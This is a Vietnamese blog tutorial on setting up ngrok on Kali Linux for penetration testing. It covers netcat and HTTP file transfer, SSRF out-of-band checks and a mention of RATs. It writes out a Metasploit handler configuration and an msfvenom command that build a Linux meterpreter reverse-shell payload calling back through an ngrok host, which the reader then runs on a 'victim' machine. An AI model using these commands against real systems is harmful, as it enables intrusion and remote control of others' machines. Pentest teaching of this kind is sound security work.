Cách cấu hình Ngrok để NAT Port trên Kali Linux

Ngrok là một công cụ giúp bạn đưa các dịch vụ trên máy tính ra ngoài Internet mà không cần phải NAT Port hoặc làm lộ IP Public của bạn. Ngrok là một trong những công cụ yêu thích của mình và trong bài viết này, mình sẽ chỉ cho các bạn một số cách mà mình đã sử dụng Ngrok trong quá trình Pentest.

Thiết lập Ngrok cho Pentester

Cấu hình Ngrok

Để sử dụng Ngrok, bạn cần có tài khoản. Truy cập https://ngrok.com/ và tạo tài khoản bằng email hoặc sử dụng tùy chọn Google | Github Oauth. Tiếp theo, tải xuống tệp cài đặt Ngrok bằng cách truy cập Setup & Installation, sau đó nhấp chuột phải vào tùy chọn Download for Linux và sao chép địa chỉ liên kết:

Cách cấu hình Ngrok để NAT Port trên Kali Linux 21

Tiếp theo, vào Terminal của máy tấn công và wget tệp ZIP Ngrok. Sau đó giải nén, thêm quyền thực thi và cuối cùng di chuyển tệp Ngrok sang /usr/local/bin/:

cd /tmp
wget https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-amd64.zip
unzip ngrok-stable-linux-amd64.zip
chmod +x ngrok
sudo mv ngrok /usr/local/bin/

LƯU Ý: Liên kết trên có khả năng không hoạt động với bạn. Sử dụng liên kết bạn đã sao chép từ trang chủ Ngrok.

Cấu hình AuthToken

Bây giờ bạn đã cài đặt xong Ngrok, chúng ta cần cung cấp cho Ngrok mã xác thực (authentication token) được cung cấp trong web của Ngrok. Truy cập tab Your Authtoken từ trong tài khoản của bạn:

Cách cấu hình Ngrok để NAT Port trên Kali Linux 22

Và sau đó sao chép Authtoken:Cách cấu hình Ngrok để NAT Port trên Kali Linux 23

Cuối cùng, hãy chạy lệnh sau để định cấu hình Ngrok sử dụng Authtoken này:

ngrok authtoken 'AUTHTOKEN_GOES_HERE'

Cách cấu hình Ngrok để NAT Port trên Kali Linux 24

Các trường hợp sử dụng Ngrok cho Pentester trên Kali Linux

Dưới đây là một số trường hợp sử dụng Ngrok trong quá trình Pentest.

Truyền tệp bằng Netcat

Chuyển các tệp sang một máy không nằm trong mạng nội bộ của bạn là không thể nhưng cho đến khi bạn biết đến Ngrok. Để cung cấp dịch vụ Netcat qua Internet với Ngrok, hãy thực hiện các bước sau:

1. Thiết lập trình nghe Netcat trên một cổng bạn chọn

Cách cấu hình Ngrok để NAT Port trên Kali Linux 25

2. Chạy Ngrok bằng lệnh tcp và chỉ định cổng bạn đã sử dụng để khởi động Netcat

Cách cấu hình Ngrok để NAT Port trên Kali Linux 26

Sau khi nhấn enter, trang tổng quan trạng thái phiên của Ngrok sẽ xuất hiện từ đó bạn có thể lấy URL:

Cách cấu hình Ngrok để NAT Port trên Kali Linux 27

3. Trên máy đích, sử dụng URI do Ngrok cung cấp để truyền tệp bằng Netcat. Lưu ý rằng URI tcp:// không được sử dụng khi chỉ định URL cho Netcat. Và đừng quên xóa: và thay thế bằng dấu cách:

Cách cấu hình Ngrok để NAT Port trên Kali Linux 28

Truyền File bằng máy chủ HTTP

Đôi khi bạn muốn chuyển tệp bằng các máy chủ HTTP đơn giản như mô-đun http.server của Python. Để chuyển tệp từ máy cục bộ của bạn qua Internet bằng máy chủ HTTP được lưu trữ cục bộ, hãy thực hiện các bước sau:

1. Khởi động máy chủ HTTP trên cổng bạn muốn

Cách cấu hình Ngrok để NAT Port trên Kali Linux 29

2. Chạy Ngrok bằng lệnh http và chỉ định cổng bạn đã sử dụng để khởi động máy chủ HTTP trên

Cách cấu hình Ngrok để NAT Port trên Kali Linux 30

Cách cấu hình Ngrok để NAT Port trên Kali Linux 31

3. Trên máy đích, sử dụng URI do Ngrok cung cấp để tải tệp

curl -o file.txt a96c-73-30-177-39.ngrok.io/file.txt

Cách cấu hình Ngrok để NAT Port trên Kali Linux 32

Metasploit Reverse Shells qua Internet

Việc tạo tải trọng Msfvenom với địa chỉ IP cục bộ sẽ hạn chế bạn bằng cách chỉ cho phép bạn tạo tải trọng cho các máy cục bộ. Để tạo tải trọng cho một máy từ xa kết nối lại qua Internet với Metasploit cục bộ của bạn, hãy thực hiện các bước sau:

1. Chạy Ngrok và chỉ định cổng cục bộ mà trình xử lý sẽ lắng nghe

Cách cấu hình Ngrok để NAT Port trên Kali Linux 33

Cách cấu hình Ngrok để NAT Port trên Kali Linux 34

2. Khởi động trình xử lý Metasploit và định cấu hình các tùy chọn ReverseListenerBindAddress và ReverseListenerBindPort để khi kết nối, chúng sẽ chuyển tiếp lưu lượng đến localhost:4444:

use exploit/multi/handler
set lhost 6.tcp.ngrok.io
set lport 16737
set payload linux/x64/meterpreter/reverse_tcp
set ReverseListenerBindAddress 127.0.0.1
set ReverseListenerBindPort 4444
run -j

Cách cấu hình Ngrok để NAT Port trên Kali Linux 35

3. Tạo tải trọng Msfvenom và chỉ định URI do Ngrok cung cấp làm tham số LHOST

msfvenom -p linux/x64/meterpreter/reverse_tcp -f elf -o revsh LHOST=6.tcp.ngrok.io LPORT=16737

Cách cấu hình Ngrok để NAT Port trên Kali Linux 36

4. Chuyển tệp sang máy nạn nhân và sau đó chạy tải trọng. Bạn sẽ nhận được kết nối trở lại trên trình xử lý Metasploit cục bộ của mình:

Cách cấu hình Ngrok để NAT Port trên Kali Linux 37

LƯU Ý: Hãy cẩn thận khi sử dụng Ngrok cho các reverse shell. Nếu không được xử lý, bạn có thể vô tình để lộ mạng của khách hàng trước những kẻ xấu.

Kiểm tra lỗi hổng tương tác dịch vụ

Kiểm tra các tương tác máy chủ bên ngoài như giả mạo yêu cầu phía máy chủ (SSRF) có thể nhanh chóng thực hiện bằng cách sử dụng Ngrok. Chỉ cần tạo một trình nghe Ngrok trên bất kỳ cổng nào bạn muốn và sau đó sử dụng URL được cung cấp để đưa vào các thông số có khả năng dễ bị tấn công như tiêu đề HTTP, thông số chuyển hướng URL,… để cố gắng tìm lỗ hổng tương tác dịch vụ OOD:

Cách cấu hình Ngrok để NAT Port trên Kali Linux 38

Cách cấu hình Ngrok để NAT Port trên Kali Linux 39

Sau đó, chúng ta có thể mô phỏng một dịch vụ OOB với cURL:

Cách cấu hình Ngrok để NAT Port trên Kali Linux 40

Như bạn  có thể thấy, một số yêu cầu GET đã được gửi đến trình nghe Ngrok, có thể được sử dụng để xác nhận các lỗ hổng như SSRF.

Ngoài ra, bạn cũng có thể sử dụng RAT mà không cần mở Port bằng Ngrok tại đây.

Previous Post Next Post